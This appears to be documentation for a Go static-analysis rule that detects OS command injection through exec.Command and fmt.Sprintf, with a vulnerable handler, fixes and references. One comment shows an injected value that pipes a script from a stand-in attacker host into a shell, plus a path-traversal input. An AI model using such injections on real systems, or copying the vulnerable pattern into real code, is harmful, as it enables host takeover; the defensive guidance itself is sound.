VNX-GO-002 – Command Injection via exec.Command
Overview
This rule detects calls to exec.Command on the same line as fmt.Sprintf, which is a strong signal that a shell command string is being constructed from dynamic input and then executed. When any portion of the formatted string originates from user input — a query parameter, form field, environment variable, or file content — an attacker can inject arbitrary operating system commands. This vulnerability is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.
Severity: High | CWE: CWE-78 – OS Command Injection | OWASP ASVS: V5.2 – Sanitization and Sandboxing
Go idiom note: Passing arguments as separate parameters to
exec.CommandIS the idiomatic Go default. Theos/execpackage was designed to avoid shell invocation entirely — usingfmt.Sprintfto construct a combined command string is an anti-pattern that goes against the package’s design. The secure approach is also the natural one.
Why This Matters
OS command injection gives an attacker direct access to the host operating system under the same privileges as the running process. In a cloud or container environment that typically means the ability to read secrets from environment variables or mounted volumes, exfiltrate data, install backdoors, move laterally to other services on the same network, or destroy data. Unlike SQL injection, which is constrained to the database, command injection exposes the entire host. The risk is amplified in Go services that accept external input (web handlers, gRPC services, CLIs) because Go programs often run with elevated container or system privileges.
OWASP ASVS v4.0 requirement V5.2.2 requires that unstructured data be sanitized to enforce safety measures such as allowed characters and length. For OS command construction, the only reliable enforcement is to never construct a shell string at all.
What Gets Flagged
The rule fires on any .go file where exec.Command and fmt.Sprintf appear on the same line. The most common pattern is building a shell command string with user-supplied values and passing it to exec.Command("sh", "-c", ...) or similar.
// FLAGGED: user input folded into a shell command via fmt.Sprintf
func runReport(w http.ResponseWriter, r *http.Request) {
name := r.FormValue("filename")
cmd := exec.Command("sh", "-c", fmt.Sprintf("cat /reports/%s", name))
out, _ := cmd.Output()
w.Write(out)
}
// An attacker passes filename=../../etc/passwd or
// filename=foo; curl https://attacker.example/shell | sh
Remediation
- Pass arguments as separate parameters to
exec.Command. Go’sexec.Commanddeliberately separates the executable from its arguments. This completely prevents shell interpretation — no shell is invoked, so metacharacters like;,|,&&,$()are treated as literals.
// SAFE: arguments are separate; no shell interpolation occurs
func runReport(w http.ResponseWriter, r *http.Request) {
name := r.FormValue("filename")
cmd := exec.Command("cat", "/reports/"+name)
out, err := cmd.Output()
if err != nil {
http.Error(w, "report unavailable", http.StatusInternalServerError)
return
}
w.Write(out)
}
- Validate input against an allowlist before use. Even with separate arguments, a path traversal attack is still possible (
../../etc/passwd). Validate the filename against an allowlist of permitted values, or usefilepath.Cleancombined with a base directory check.
import (
"path/filepath"
"strings"
)
func safeReportPath(name string) (string, error) {
base := "/reports"
clean := filepath.Clean(filepath.Join(base, name))
if !strings.HasPrefix(clean, base+string(filepath.Separator)) {
return "", fmt.Errorf("invalid report name")
}
return clean, nil
}
Avoid
sh -centirely. Never pass a dynamically constructed string to a shell (sh -c,bash -c,cmd /C). If you need shell features like pipes, implement them natively in Go usingio.Pipeand multipleexec.Commandcalls connected together.Consider
exec.LookPathfor explicit binary resolution. When the executable itself could be influenced by input, useexec.LookPathto resolve the binary to an absolute path before executing it.
References
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP Application Security Verification Standard v4.0 – V5.2 Sanitization and Sandboxing
- OWASP Command Injection
- OWASP Go Security Cheat Sheet
- Go os/exec package documentation
- CAPEC-88: OS Command Injection
- MITRE ATT&CK T1059 – Command and Scripting Interpreter